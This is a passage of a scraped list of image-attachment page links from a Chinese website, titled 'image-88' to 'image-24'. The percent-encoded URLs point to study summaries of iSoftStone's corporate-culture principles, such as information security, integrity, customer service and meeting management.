### image-88 - **URL**: https://www.saiita.com.cn/huawei/isoftstone/%e8%bd%af%e9%80%9a%e5%8a%a8%e5%8a%9b%e4%bc%81%e4%b8%9a%e6%96%87%e5%8c%96%e5%ad%a6%e4%b9%a0%e6%80%bb%e7%bb%93%ef%bc%88%e5%8d%81%e5%a4%a7%e5%87%86%e5%88%99-%e4%bf%a1%e6%81%af%e5%ae%89%e5%85%a8%ef%bc%89.html/attachment/image-88 ### image-87 - **URL**: https://www.saiita.com.cn/huawei/isoftstone/%e8%bd%af%e9%80%9a%e5%8a%a8%e5%8a%9b%e4%bc%81%e4%b8%9a%e6%96%87%e5%8c%96%e5%ad%a6%e4%b9%a0%e6%80%bb%e7%bb%93%ef%bc%88%e5%8d%81%e5%a4%a7%e5%87%86%e5%88%99-%e4%bf%a1%e6%81%af%e5%ae%89%e5%85%a8%ef%bc%89.html/attachment/image-87 ### image-86 - **URL**: https://www.saiita.com.cn/huawei/isoftstone/%e8%bd%af%e9%80%9a%e5%8a%a8%e5%8a%9b%e4%bc%81%e4%b8%9a%e6%96%87%e5%8c%96%e5%ad%a6%e4%b9%a0%e6%80%bb%e7%bb%93%ef%bc%88%e5%8d%81%e5%a4%a7%e5%87%86%e5%88%99-%e4%bf%a1%e6%81%af%e5%ae%89%e5%85%a8%ef%bc%89.html/attachment/image-86 ### image-85 - **URL**: https://www.saiita.com.cn/huawei/isoftstone/%e8%bd%af%e9%80%9a%e5%8a%a8%e5%8a%9b%e4%bc%81%e4%b8%9a%e6%96%87%e5%8c%96%e5%ad%a6%e4%b9%a0%e6%80%bb%e7%bb%93%ef%bc%88%e5%8d%81%e5%a4%a7%e5%87%86%e5%88%99-%e4%bf%a1%e6%81%af%e5%ae%89%e5%85%a8%ef%bc%89.html/attachment/image-85 ### image-84 - **URL**: https://www.saiita.com.cn/huawei/isoftstone/%e8%bd%af%e9%80%9a%e5%8a%a8%e5%8a%9b%e4%bc%81%e4%b8%9a%e6%96%87%e5%8c%96%e5%ad%a6%e4%b9%a0%e6%80%bb%e7%bb%93%ef%bc%88%e5%8d%81%e5%a4%a7%e5%87%86%e5%88%99-%e4%bf%a1%e6%81%af%e5%ae%89%e5%85%a8%ef%bc%89.html/attachment/image-84 ### image-83 - **URL**: https://www.saiita.com.cn/huawei/isoftstone/%e8%bd%af%e9%80%9a%e5%8a%a8%e5%8a%9b%e4%bc%81%e4%b8%9a%e6%96%87%e5%8c%96%e5%ad%a6%e4%b9%a0%e6%80%bb%e7%bb%93%ef%bc%88%e5%8d%81%e5%a4%a7%e5%87%86%e5%88%99-%e4%bf%a1%e6%81%af%e5%ae%89%e5%85%a8%ef%bc%89.html/attachment/image-83 ### image-82 - **URL**: https://www.saiita.com.cn/huawei/isoftstone/%e8%bd%af%e9%80%9a%e5%8a%a8%e5%8a%9b%e4%bc%81%e4%b8%9a%e6%96%87%e5%8c%96%e5%ad%a6%e4%b9%a0%e6%80%bb%e7%bb%93%ef%bc%88%e5%8d%81%e5%a4%a7%e5%87%86%e5%88%99-%e4%bf%a1%e6%81%af%e5%ae%89%e5%85%a8%ef%bc%89.html/attachment/image-82 ### image-81 - **URL**: https://www.saiita.com.cn/huawei/isoftstone/%e8%bd%af%e9%80%9a%e5%8a%a8%e5%8a%9b%e4%bc%81%e4%b8%9a%e6%96%87%e5%8c%96%e5%ad%a6%e4%b9%a0%e6%80%bb%e7%bb%93%ef%bc%88%e5%8d%81%e5%a4%a7%e5%87%86%e5%88%99-%e4%bf%a1%e6%81%af%e5%ae%89%e5%85%a8%ef%bc%89.html/attachment/image-81 ### image-80 - **URL**: https://www.saiita.com.cn/huawei/isoftstone/%e8%bd%af%e9%80%9a%e5%8a%a8%e5%8a%9b%e4%bc%81%e4%b8%9a%e6%96%87%e5%8c%96%e5%ad%a6%e4%b9%a0%e6%80%bb%e7%bb%93%ef%bc%88%e5%8d%81%e5%a4%a7%e5%87%86%e5%88%99-%e5%bb%89%e6%b4%81%e8%87%aa%e5%be%8b%ef%bc%89.html/attachment/image-80 ### image-79 - **URL**: https://www.saiita.com.cn/huawei/isoftstone/%e8%bd%af%e9%80%9a%e5%8a%a8%e5%8a%9b%e4%bc%81%e4%b8%9a%e6%96%87%e5%8c%96%e5%ad%a6%e4%b9%a0%e6%80%bb%e7%bb%93%ef%bc%88%e5%8d%81%e5%a4%a7%e5%87%86%e5%88%99-%e5%bb%89%e6%b4%81%e8%87%aa%e5%be%8b%ef%bc%89.html/attachment/image-79 ### image-78 - **URL**: https://www.saiita.com.cn/huawei/isoftstone/%e8%bd%af%e9%80%9a%e5%8a%a8%e5%8a%9b%e4%bc%81%e4%b8%9a%e6%96%87%e5%8c%96%e5%ad%a6%e4%b9%a0%e6%80%bb%e7%bb%93%ef%bc%88%e5%8d%81%e5%a4%a7%e5%87%86%e5%88%99-%e5%bb%89%e6%b4%81%e8%87%aa%e5%be%8b%ef%bc%89.html/attachment/image-78 ### image-77 - **URL**: https://www.saiita.com.cn/huawei/isoftstone/%e8%bd%af%e9%80%9a%e5%8a%a8%e5%8a%9b%e4%bc%81%e4%b8%9a%e6%96%87%e5%8c%96%e5%ad%a6%e4%b9%a0%e6%80%bb%e7%bb%93%ef%bc%88%e5%8d%81%e5%a4%a7%e5%87%86%e5%88%99-%e5%bb%89%e6%b4%81%e8%87%aa%e5%be%8b%ef%bc%89.html/attachment/image-77 ### image-76 - **URL**: https://www.saiita.com.cn/huawei/isoftstone/%e8%bd%af%e9%80%9a%e5%8a%a8%e5%8a%9b%e4%bc%81%e4%b8%9a%e6%96%87%e5%8c%96%e5%ad%a6%e4%b9%a0%e6%80%bb%e7%bb%93%ef%bc%88%e5%8d%81%e5%a4%a7%e5%87%86%e5%88%99-%e5%bb%89%e6%b4%81%e8%87%aa%e5%be%8b%ef%bc%89.html/attachment/image-76 ### image-75 - **URL**: https://www.saiita.com.cn/huawei/isoftstone/%e8%bd%af%e9%80%9a%e5%8a%a8%e5%8a%9b%e4%bc%81%e4%b8%9a%e6%96%87%e5%8c%96%e5%ad%a6%e4%b9%a0%e6%80%bb%e7%bb%93%ef%bc%88%e5%8d%81%e5%a4%a7%e5%87%86%e5%88%99-%e5%bb%89%e6%b4%81%e8%87%aa%e5%be%8b%ef%bc%89.html/attachment/image-75 ### image-74 - **URL**: https://www.saiita.com.cn/huawei/isoftstone/%e8%bd%af%e9%80%9a%e5%8a%a8%e5%8a%9b%e4%bc%81%e4%b8%9a%e6%96%87%e5%8c%96%e5%ad%a6%e4%b9%a0%e6%80%bb%e7%bb%93%ef%bc%88%e5%8d%81%e5%a4%a7%e5%87%86%e5%88%99-%e5%bb%89%e6%b4%81%e8%87%aa%e5%be%8b%ef%bc%89.html/attachment/image-74 ### image-73 - **URL**: https://www.saiita.com.cn/huawei/isoftstone/%e8%bd%af%e9%80%9a%e5%8a%a8%e5%8a%9b%e4%bc%81%e4%b8%9a%e6%96%87%e5%8c%96%e5%ad%a6%e4%b9%a0%e6%80%bb%e7%bb%93%ef%bc%88%e5%8d%81%e5%a4%a7%e5%87%86%e5%88%99-%e5%bb%89%e6%b4%81%e8%87%aa%e5%be%8b%ef%bc%89.html/attachment/image-73 ### image-72 - **URL**: https://www.saiita.com.cn/huawei/isoftstone/%e8%bd%af%e9%80%9a%e5%8a%a8%e5%8a%9b%e4%bc%81%e4%b8%9a%e6%96%87%e5%8c%96%e5%ad%a6%e4%b9%a0%e6%80%bb%e7%bb%93%ef%bc%88%e5%8d%81%e5%a4%a7%e5%87%86%e5%88%99-%e5%bb%89%e6%b4%81%e8%87%aa%e5%be%8b%ef%bc%89.html/attachment/image-72 ### image-71 - **URL**: https://www.saiita.com.cn/huawei/isoftstone/%e8%bd%af%e9%80%9a%e5%8a%a8%e5%8a%9b%e4%bc%81%e4%b8%9a%e6%96%87%e5%8c%96%e5%ad%a6%e4%b9%a0%e6%80%bb%e7%bb%93%ef%bc%88%e5%8d%81%e5%a4%a7%e5%87%86%e5%88%99-%e5%ae%a2%e6%88%b7%e6%9c%8d%e5%8a%a1%ef%bc%89.html/attachment/image-71 ### image-70 - **URL**: https://www.saiita.com.cn/huawei/isoftstone/%e8%bd%af%e9%80%9a%e5%8a%a8%e5%8a%9b%e4%bc%81%e4%b8%9a%e6%96%87%e5%8c%96%e5%ad%a6%e4%b9%a0%e6%80%bb%e7%bb%93%ef%bc%88%e5%8d%81%e5%a4%a7%e5%87%86%e5%88%99-%e5%ae%a2%e6%88%b7%e6%9c%8d%e5%8a%a1%ef%bc%89.html/attachment/image-70 ### image-69 - **URL**: https://www.saiita.com.cn/huawei/isoftstone/%e8%bd%af%e9%80%9a%e5%8a%a8%e5%8a%9b%e4%bc%81%e4%b8%9a%e6%96%87%e5%8c%96%e5%ad%a6%e4%b9%a0%e6%80%bb%e7%bb%93%ef%bc%88%e5%8d%81%e5%a4%a7%e5%87%86%e5%88%99-%e5%ae%a2%e6%88%b7%e6%9c%8d%e5%8a%a1%ef%bc%89.html/attachment/image-69 ### image-68 - **URL**: https://www.saiita.com.cn/huawei/isoftstone/%e8%bd%af%e9%80%9a%e5%8a%a8%e5%8a%9b%e4%bc%81%e4%b8%9a%e6%96%87%e5%8c%96%e5%ad%a6%e4%b9%a0%e6%80%bb%e7%bb%93%ef%bc%88%e5%8d%81%e5%a4%a7%e5%87%86%e5%88%99-%e5%ae%a2%e6%88%b7%e6%9c%8d%e5%8a%a1%ef%bc%89.html/attachment/image-68 ### image-67 - **URL**: https://www.saiita.com.cn/huawei/isoftstone/%e8%bd%af%e9%80%9a%e5%8a%a8%e5%8a%9b%e4%bc%81%e4%b8%9a%e6%96%87%e5%8c%96%e5%ad%a6%e4%b9%a0%e6%80%bb%e7%bb%93%ef%bc%88%e5%8d%81%e5%a4%a7%e5%87%86%e5%88%99-%e5%ae%a2%e6%88%b7%e6%9c%8d%e5%8a%a1%ef%bc%89.html/attachment/image-67 ### image-66 - **URL**: https://www.saiita.com.cn/huawei/isoftstone/%e8%bd%af%e9%80%9a%e5%8a%a8%e5%8a%9b%e4%bc%81%e4%b8%9a%e6%96%87%e5%8c%96%e5%ad%a6%e4%b9%a0%e6%80%bb%e7%bb%93%ef%bc%88%e5%8d%81%e5%a4%a7%e5%87%86%e5%88%99-%e5%ae%a2%e6%88%b7%e6%9c%8d%e5%8a%a1%ef%bc%89.html/attachment/image-66 ### image-65 - **URL**: https://www.saiita.com.cn/huawei/isoftstone/%e8%bd%af%e9%80%9a%e5%8a%a8%e5%8a%9b%e4%bc%81%e4%b8%9a%e6%96%87%e5%8c%96%e5%ad%a6%e4%b9%a0%e6%80%bb%e7%bb%93%ef%bc%88%e5%8d%81%e5%a4%a7%e5%87%86%e5%88%99-%e5%ae%a2%e6%88%b7%e6%9c%8d%e5%8a%a1%ef%bc%89.html/attachment/image-65 ### image-64 - **URL**: https://www.saiita.com.cn/huawei/isoftstone/%e8%bd%af%e9%80%9a%e5%8a%a8%e5%8a%9b%e4%bc%81%e4%b8%9a%e6%96%87%e5%8c%96%e5%ad%a6%e4%b9%a0%e6%80%bb%e7%bb%93%ef%bc%88%e5%8d%81%e5%a4%a7%e5%87%86%e5%88%99-%e5%ae%a2%e6%88%b7%e6%9c%8d%e5%8a%a1%ef%bc%89.html/attachment/image-64 ### image-63 - **URL**: https://www.saiita.com.cn/huawei/isoftstone/%e8%bd%af%e9%80%9a%e5%8a%a8%e5%8a%9b%e4%bc%81%e4%b8%9a%e6%96%87%e5%8c%96%e5%ad%a6%e4%b9%a0%e6%80%bb%e7%bb%93%ef%bc%88%e5%8d%81%e5%a4%a7%e5%87%86%e5%88%99-%e5%ae%a2%e6%88%b7%e6%9c%8d%e5%8a%a1%ef%bc%89.html/attachment/image-63 ### image-62 - **URL**: https://www.saiita.com.cn/huawei/isoftstone/%e8%bd%af%e9%80%9a%e5%8a%a8%e5%8a%9b%e4%bc%81%e4%b8%9a%e6%96%87%e5%8c%96%e5%ad%a6%e4%b9%a0%e6%80%bb%e7%bb%93%ef%bc%88%e5%8d%81%e5%a4%a7%e5%87%86%e5%88%99-%e5%ae%a2%e6%88%b7%e6%9c%8d%e5%8a%a1%ef%bc%89.html/attachment/image-62 ### image-61 - **URL**: https://www.saiita.com.cn/huawei/isoftstone/%e8%bd%af%e9%80%9a%e5%8a%a8%e5%8a%9b%e4%bc%81%e4%b8%9a%e6%96%87%e5%8c%96%e5%ad%a6%e4%b9%a0%e6%80%bb%e7%bb%93%ef%bc%88%e5%8d%81%e5%a4%a7%e5%87%86%e5%88%99-%e5%ae%a2%e6%88%b7%e6%9c%8d%e5%8a%a1%ef%bc%89.html/attachment/image-61 ### image-60 - **URL**: https://www.saiita.com.cn/huawei/isoftstone/%e8%bd%af%e9%80%9a%e5%8a%a8%e5%8a%9b%e4%bc%81%e4%b8%9a%e6%96%87%e5%8c%96%e5%ad%a6%e4%b9%a0%e6%80%bb%e7%bb%93%ef%bc%88%e5%8d%81%e5%a4%a7%e5%87%86%e5%88%99-%e5%ae%a2%e6%88%b7%e6%9c%8d%e5%8a%a1%ef%bc%89.html/attachment/image-60 ### image-59 - **URL**: https://www.saiita.com.cn/huawei/isoftstone/%e8%bd%af%e9%80%9a%e5%8a%a8%e5%8a%9b%e4%bc%81%e4%b8%9a%e6%96%87%e5%8c%96%e5%ad%a6%e4%b9%a0%e6%80%bb%e7%bb%93%ef%bc%88%e5%8d%81%e5%a4%a7%e5%87%86%e5%88%99-%e8%b4%b9%e7%94%a8%e7%ae%a1%e7%90%86%ef%bc%89.html/attachment/image-59 ### image-58 - **URL**: https://www.saiita.com.cn/huawei/isoftstone/%e8%bd%af%e9%80%9a%e5%8a%a8%e5%8a%9b%e4%bc%81%e4%b8%9a%e6%96%87%e5%8c%96%e5%ad%a6%e4%b9%a0%e6%80%bb%e7%bb%93%ef%bc%88%e5%8d%81%e5%a4%a7%e5%87%86%e5%88%99-%e8%b4%b9%e7%94%a8%e7%ae%a1%e7%90%86%ef%bc%89.html/attachment/image-58 ### image-57 - **URL**: https://www.saiita.com.cn/huawei/isoftstone/%e8%bd%af%e9%80%9a%e5%8a%a8%e5%8a%9b%e4%bc%81%e4%b8%9a%e6%96%87%e5%8c%96%e5%ad%a6%e4%b9%a0%e6%80%bb%e7%bb%93%ef%bc%88%e5%8d%81%e5%a4%a7%e5%87%86%e5%88%99-%e8%b4%b9%e7%94%a8%e7%ae%a1%e7%90%86%ef%bc%89.html/attachment/image-57 ### image-56 - **URL**: https://www.saiita.com.cn/huawei/isoftstone/%e8%bd%af%e9%80%9a%e5%8a%a8%e5%8a%9b%e4%bc%81%e4%b8%9a%e6%96%87%e5%8c%96%e5%ad%a6%e4%b9%a0%e6%80%bb%e7%bb%93%ef%bc%88%e5%8d%81%e5%a4%a7%e5%87%86%e5%88%99-%e8%b4%b9%e7%94%a8%e7%ae%a1%e7%90%86%ef%bc%89.html/attachment/image-56 ### image-55 - **URL**: https://www.saiita.com.cn/huawei/isoftstone/%e8%bd%af%e9%80%9a%e5%8a%a8%e5%8a%9b%e4%bc%81%e4%b8%9a%e6%96%87%e5%8c%96%e5%ad%a6%e4%b9%a0%e6%80%bb%e7%bb%93%ef%bc%88%e5%8d%81%e5%a4%a7%e5%87%86%e5%88%99-%e8%b4%b9%e7%94%a8%e7%ae%a1%e7%90%86%ef%bc%89.html/attachment/image-55 ### image-54 - **URL**: https://www.saiita.com.cn/huawei/isoftstone/%e8%bd%af%e9%80%9a%e5%8a%a8%e5%8a%9b%e4%bc%81%e4%b8%9a%e6%96%87%e5%8c%96%e5%ad%a6%e4%b9%a0%e6%80%bb%e7%bb%93%ef%bc%88%e5%8d%81%e5%a4%a7%e5%87%86%e5%88%99-%e8%b4%b9%e7%94%a8%e7%ae%a1%e7%90%86%ef%bc%89.html/attachment/image-54 ### image-53 - **URL**: https://www.saiita.com.cn/huawei/isoftstone/%e8%bd%af%e9%80%9a%e5%8a%a8%e5%8a%9b%e4%bc%81%e4%b8%9a%e6%96%87%e5%8c%96%e5%ad%a6%e4%b9%a0%e6%80%bb%e7%bb%93%ef%bc%88%e5%8d%81%e5%a4%a7%e5%87%86%e5%88%99-%e8%b4%b9%e7%94%a8%e7%ae%a1%e7%90%86%ef%bc%89.html/attachment/image-53 ### image-52 - **URL**: https://www.saiita.com.cn/huawei/isoftstone/%e8%bd%af%e9%80%9a%e5%8a%a8%e5%8a%9b%e4%bc%81%e4%b8%9a%e6%96%87%e5%8c%96%e5%ad%a6%e4%b9%a0%e6%80%bb%e7%bb%93%ef%bc%88%e5%8d%81%e5%a4%a7%e5%87%86%e5%88%99-%e8%b4%b9%e7%94%a8%e7%ae%a1%e7%90%86%ef%bc%89.html/attachment/image-52 ### image-51 - **URL**: https://www.saiita.com.cn/huawei/isoftstone/%e8%bd%af%e9%80%9a%e5%8a%a8%e5%8a%9b%e4%bc%81%e4%b8%9a%e6%96%87%e5%8c%96%e5%ad%a6%e4%b9%a0%e6%80%bb%e7%bb%93%ef%bc%88%e5%8d%81%e5%a4%a7%e5%87%86%e5%88%99-%e8%b4%b9%e7%94%a8%e7%ae%a1%e7%90%86%ef%bc%89.html/attachment/image-51 ### image-50 - **URL**: https://www.saiita.com.cn/huawei/isoftstone/%e8%bd%af%e9%80%9a%e5%8a%a8%e5%8a%9b%e4%bc%81%e4%b8%9a%e6%96%87%e5%8c%96%e5%ad%a6%e4%b9%a0%e6%80%bb%e7%bb%93%ef%bc%88%e5%8d%81%e5%a4%a7%e5%87%86%e5%88%99-%e6%80%bb%e7%bb%93%e6%b1%87%e6%8a%a5%ef%bc%89.html/attachment/image-50 ### image-49 - **URL**: https://www.saiita.com.cn/huawei/isoftstone/%e8%bd%af%e9%80%9a%e5%8a%a8%e5%8a%9b%e4%bc%81%e4%b8%9a%e6%96%87%e5%8c%96%e5%ad%a6%e4%b9%a0%e6%80%bb%e7%bb%93%ef%bc%88%e5%8d%81%e5%a4%a7%e5%87%86%e5%88%99-%e6%80%bb%e7%bb%93%e6%b1%87%e6%8a%a5%ef%bc%89.html/attachment/image-49 ### image-48 - **URL**: https://www.saiita.com.cn/huawei/isoftstone/%e8%bd%af%e9%80%9a%e5%8a%a8%e5%8a%9b%e4%bc%81%e4%b8%9a%e6%96%87%e5%8c%96%e5%ad%a6%e4%b9%a0%e6%80%bb%e7%bb%93%ef%bc%88%e5%8d%81%e5%a4%a7%e5%87%86%e5%88%99-%e6%80%bb%e7%bb%93%e6%b1%87%e6%8a%a5%ef%bc%89.html/attachment/image-48 ### image-47 - **URL**: https://www.saiita.com.cn/huawei/isoftstone/%e8%bd%af%e9%80%9a%e5%8a%a8%e5%8a%9b%e4%bc%81%e4%b8%9a%e6%96%87%e5%8c%96%e5%ad%a6%e4%b9%a0%e6%80%bb%e7%bb%93%ef%bc%88%e5%8d%81%e5%a4%a7%e5%87%86%e5%88%99-%e6%80%bb%e7%bb%93%e6%b1%87%e6%8a%a5%ef%bc%89.html/attachment/image-47 ### image-46 - **URL**: https://www.saiita.com.cn/huawei/isoftstone/%e8%bd%af%e9%80%9a%e5%8a%a8%e5%8a%9b%e4%bc%81%e4%b8%9a%e6%96%87%e5%8c%96%e5%ad%a6%e4%b9%a0%e6%80%bb%e7%bb%93%ef%bc%88%e5%8d%81%e5%a4%a7%e5%87%86%e5%88%99-%e6%80%bb%e7%bb%93%e6%b1%87%e6%8a%a5%ef%bc%89.html/attachment/image-46 ### image-45 - **URL**: https://www.saiita.com.cn/huawei/isoftstone/%e8%bd%af%e9%80%9a%e5%8a%a8%e5%8a%9b%e4%bc%81%e4%b8%9a%e6%96%87%e5%8c%96%e5%ad%a6%e4%b9%a0%e6%80%bb%e7%bb%93%ef%bc%88%e5%8d%81%e5%a4%a7%e5%87%86%e5%88%99-%e6%80%bb%e7%bb%93%e6%b1%87%e6%8a%a5%ef%bc%89.html/attachment/image-45 ### image-44 - **URL**: https://www.saiita.com.cn/huawei/isoftstone/%e8%bd%af%e9%80%9a%e5%8a%a8%e5%8a%9b%e4%bc%81%e4%b8%9a%e6%96%87%e5%8c%96%e5%ad%a6%e4%b9%a0%e6%80%bb%e7%bb%93%ef%bc%88%e5%8d%81%e5%a4%a7%e5%87%86%e5%88%99-%e4%bc%81%e4%b8%9a%e5%be%ae%e4%bf%a1%ef%bc%89.html/attachment/image-44 ### image-43 - **URL**: https://www.saiita.com.cn/huawei/isoftstone/%e8%bd%af%e9%80%9a%e5%8a%a8%e5%8a%9b%e4%bc%81%e4%b8%9a%e6%96%87%e5%8c%96%e5%ad%a6%e4%b9%a0%e6%80%bb%e7%bb%93%ef%bc%88%e5%8d%81%e5%a4%a7%e5%87%86%e5%88%99-%e4%bc%81%e4%b8%9a%e5%be%ae%e4%bf%a1%ef%bc%89.html/attachment/image-43 ### image-42 - **URL**: https://www.saiita.com.cn/huawei/isoftstone/%e8%bd%af%e9%80%9a%e5%8a%a8%e5%8a%9b%e4%bc%81%e4%b8%9a%e6%96%87%e5%8c%96%e5%ad%a6%e4%b9%a0%e6%80%bb%e7%bb%93%ef%bc%88%e5%8d%81%e5%a4%a7%e5%87%86%e5%88%99-%e4%bc%81%e4%b8%9a%e5%be%ae%e4%bf%a1%ef%bc%89.html/attachment/image-42 ### image-41 - **URL**: https://www.saiita.com.cn/huawei/isoftstone/%e8%bd%af%e9%80%9a%e5%8a%a8%e5%8a%9b%e4%bc%81%e4%b8%9a%e6%96%87%e5%8c%96%e5%ad%a6%e4%b9%a0%e6%80%bb%e7%bb%93%ef%bc%88%e5%8d%81%e5%a4%a7%e5%87%86%e5%88%99-%e4%bc%81%e4%b8%9a%e5%be%ae%e4%bf%a1%ef%bc%89.html/attachment/image-41 ### image-40 - **URL**: https://www.saiita.com.cn/huawei/isoftstone/%e8%bd%af%e9%80%9a%e5%8a%a8%e5%8a%9b%e4%bc%81%e4%b8%9a%e6%96%87%e5%8c%96%e5%ad%a6%e4%b9%a0%e6%80%bb%e7%bb%93%ef%bc%88%e5%8d%81%e5%a4%a7%e5%87%86%e5%88%99-%e4%bc%81%e4%b8%9a%e5%be%ae%e4%bf%a1%ef%bc%89.html/attachment/image-40 ### image-39 - **URL**: https://www.saiita.com.cn/huawei/isoftstone/%e8%bd%af%e9%80%9a%e5%8a%a8%e5%8a%9b%e4%bc%81%e4%b8%9a%e6%96%87%e5%8c%96%e5%ad%a6%e4%b9%a0%e6%80%bb%e7%bb%93%ef%bc%88%e5%8d%81%e5%a4%a7%e5%87%86%e5%88%99-%e4%bc%81%e4%b8%9a%e5%be%ae%e4%bf%a1%ef%bc%89.html/attachment/image-39 ### image-38 - **URL**: https://www.saiita.com.cn/huawei/isoftstone/%e8%bd%af%e9%80%9a%e5%8a%a8%e5%8a%9b%e4%bc%81%e4%b8%9a%e6%96%87%e5%8c%96%e5%ad%a6%e4%b9%a0%e6%80%bb%e7%bb%93%ef%bc%88%e5%8d%81%e5%a4%a7%e5%87%86%e5%88%99-%e4%bc%81%e4%b8%9a%e5%be%ae%e4%bf%a1%ef%bc%89.html/attachment/image-38 ### image-37 - **URL**: https://www.saiita.com.cn/huawei/isoftstone/%e8%bd%af%e9%80%9a%e5%8a%a8%e5%8a%9b%e4%bc%81%e4%b8%9a%e6%96%87%e5%8c%96%e5%ad%a6%e4%b9%a0%e6%80%bb%e7%bb%93%ef%bc%88%e5%8d%81%e5%a4%a7%e5%87%86%e5%88%99-%e4%bc%81%e4%b8%9a%e5%be%ae%e4%bf%a1%ef%bc%89.html/attachment/image-37 ### image-36 - **URL**: https://www.saiita.com.cn/huawei/isoftstone/%e8%bd%af%e9%80%9a%e5%8a%a8%e5%8a%9b%e4%bc%81%e4%b8%9a%e6%96%87%e5%8c%96%e5%ad%a6%e4%b9%a0%e6%80%bb%e7%bb%93%ef%bc%88%e5%8d%81%e5%a4%a7%e5%87%86%e5%88%99-%e4%bc%81%e4%b8%9a%e5%be%ae%e4%bf%a1%ef%bc%89.html/attachment/image-36 ### image-35 - **URL**: https://www.saiita.com.cn/huawei/isoftstone/%e8%bd%af%e9%80%9a%e5%8a%a8%e5%8a%9b%e4%bc%81%e4%b8%9a%e6%96%87%e5%8c%96%e5%ad%a6%e4%b9%a0%e6%80%bb%e7%bb%93%ef%bc%88%e5%8d%81%e5%a4%a7%e5%87%86%e5%88%99-%e4%bc%81%e4%b8%9a%e5%be%ae%e4%bf%a1%ef%bc%89.html/attachment/image-35 ### image-34 - **URL**: https://www.saiita.com.cn/huawei/isoftstone/%e8%bd%af%e9%80%9a%e5%8a%a8%e5%8a%9b%e4%bc%81%e4%b8%9a%e6%96%87%e5%8c%96%e5%ad%a6%e4%b9%a0%e6%80%bb%e7%bb%93%ef%bc%88%e5%8d%81%e5%a4%a7%e5%87%86%e5%88%99-%e4%bc%81%e4%b8%9a%e5%be%ae%e4%bf%a1%ef%bc%89.html/attachment/image-34 ### image-33 - **URL**: https://www.saiita.com.cn/huawei/isoftstone/%e8%bd%af%e9%80%9a%e5%8a%a8%e5%8a%9b%e4%bc%81%e4%b8%9a%e6%96%87%e5%8c%96%e5%ad%a6%e4%b9%a0%e6%80%bb%e7%bb%93%ef%bc%88%e5%8d%81%e5%a4%a7%e5%87%86%e5%88%99-%e4%bc%81%e4%b8%9a%e5%be%ae%e4%bf%a1%ef%bc%89.html/attachment/image-33 ### image-32 - **URL**: https://www.saiita.com.cn/huawei/isoftstone/%e8%bd%af%e9%80%9a%e5%8a%a8%e5%8a%9b%e4%bc%81%e4%b8%9a%e6%96%87%e5%8c%96%e5%ad%a6%e4%b9%a0%e6%80%bb%e7%bb%93%ef%bc%88%e5%8d%81%e5%a4%a7%e5%87%86%e5%88%99-%e4%bc%81%e4%b8%9a%e5%be%ae%e4%bf%a1%ef%bc%89.html/attachment/image-32-2 ### image-31 - **URL**: https://www.saiita.com.cn/huawei/isoftstone/%e8%bd%af%e9%80%9a%e5%8a%a8%e5%8a%9b%e4%bc%81%e4%b8%9a%e6%96%87%e5%8c%96%e5%ad%a6%e4%b9%a0%e6%80%bb%e7%bb%93%ef%bc%88%e5%8d%81%e5%a4%a7%e5%87%86%e5%88%99-%e4%bc%81%e4%b8%9a%e5%be%ae%e4%bf%a1%ef%bc%89.html/attachment/image-31-2 ### image-30 - **URL**: https://www.saiita.com.cn/huawei/isoftstone/%e8%bd%af%e9%80%9a%e5%8a%a8%e5%8a%9b%e4%bc%81%e4%b8%9a%e6%96%87%e5%8c%96%e5%ad%a6%e4%b9%a0%e6%80%bb%e7%bb%93%ef%bc%88%e5%8d%81%e5%a4%a7%e5%87%86%e5%88%99-%e4%bc%9a%e8%ae%ae%e7%ae%a1%e7%90%86%ef%bc%89.html/attachment/image-30-2 ### image-29 - **URL**: https://www.saiita.com.cn/huawei/isoftstone/%e8%bd%af%e9%80%9a%e5%8a%a8%e5%8a%9b%e4%bc%81%e4%b8%9a%e6%96%87%e5%8c%96%e5%ad%a6%e4%b9%a0%e6%80%bb%e7%bb%93%ef%bc%88%e5%8d%81%e5%a4%a7%e5%87%86%e5%88%99-%e4%bc%9a%e8%ae%ae%e7%ae%a1%e7%90%86%ef%bc%89.html/attachment/image-29-2 ### image-28 - **URL**: https://www.saiita.com.cn/huawei/isoftstone/%e8%bd%af%e9%80%9a%e5%8a%a8%e5%8a%9b%e4%bc%81%e4%b8%9a%e6%96%87%e5%8c%96%e5%ad%a6%e4%b9%a0%e6%80%bb%e7%bb%93%ef%bc%88%e5%8d%81%e5%a4%a7%e5%87%86%e5%88%99-%e4%bc%9a%e8%ae%ae%e7%ae%a1%e7%90%86%ef%bc%89.html/attachment/image-28-2 ### image-27 - **URL**: https://www.saiita.com.cn/huawei/isoftstone/%e8%bd%af%e9%80%9a%e5%8a%a8%e5%8a%9b%e4%bc%81%e4%b8%9a%e6%96%87%e5%8c%96%e5%ad%a6%e4%b9%a0%e6%80%bb%e7%bb%93%ef%bc%88%e5%8d%81%e5%a4%a7%e5%87%86%e5%88%99-%e4%bc%9a%e8%ae%ae%e7%ae%a1%e7%90%86%ef%bc%89.html/attachment/image-27-2 ### image-26 - **URL**: https://www.saiita.com.cn/huawei/isoftstone/%e8%bd%af%e9%80%9a%e5%8a%a8%e5%8a%9b%e4%bc%81%e4%b8%9a%e6%96%87%e5%8c%96%e5%ad%a6%e4%b9%a0%e6%80%bb%e7%bb%93%ef%bc%88%e5%8d%81%e5%a4%a7%e5%87%86%e5%88%99-%e4%bc%9a%e8%ae%ae%e7%ae%a1%e7%90%86%ef%bc%89.html/attachment/image-26-2 ### image-25 - **URL**: https://www.saiita.com.cn/huawei/isoftstone/%e8%bd%af%e9%80%9a%e5%8a%a8%e5%8a%9b%e4%bc%81%e4%b8%9a%e6%96%87%e5%8c%96%e5%ad%a6%e4%b9%a0%e6%80%bb%e7%bb%93%ef%bc%88%e5%8d%81%e5%a4%a7%e5%87%86%e5%88%99-%e4%bc%9a%e8%ae%ae%e7%ae%a1%e7%90%86%ef%bc%89.html/attachment/image-25-3 ### image-24 - **URL**: https://www.saiita.com.cn/huawei/isoftstone/%e8%bd%af%e9%80%9a%e5%8a%a8%e5%8a%9b%e4%bc%81%e4%b8%9a%e6%96%87%e5%8c%96%e5%ad%a6%e4%b9%a0%e6%80%bb%e7%bb%93%ef%bc%88%e5%8d%81%e5%a4%a7%e5%87%86%e5%88%99-%e4%bc%9a%e8%ae%ae%e7%ae%a1%e7%90%86%ef%bc%89.html/attachment/image-24-3 ### image-23 - **URL**: 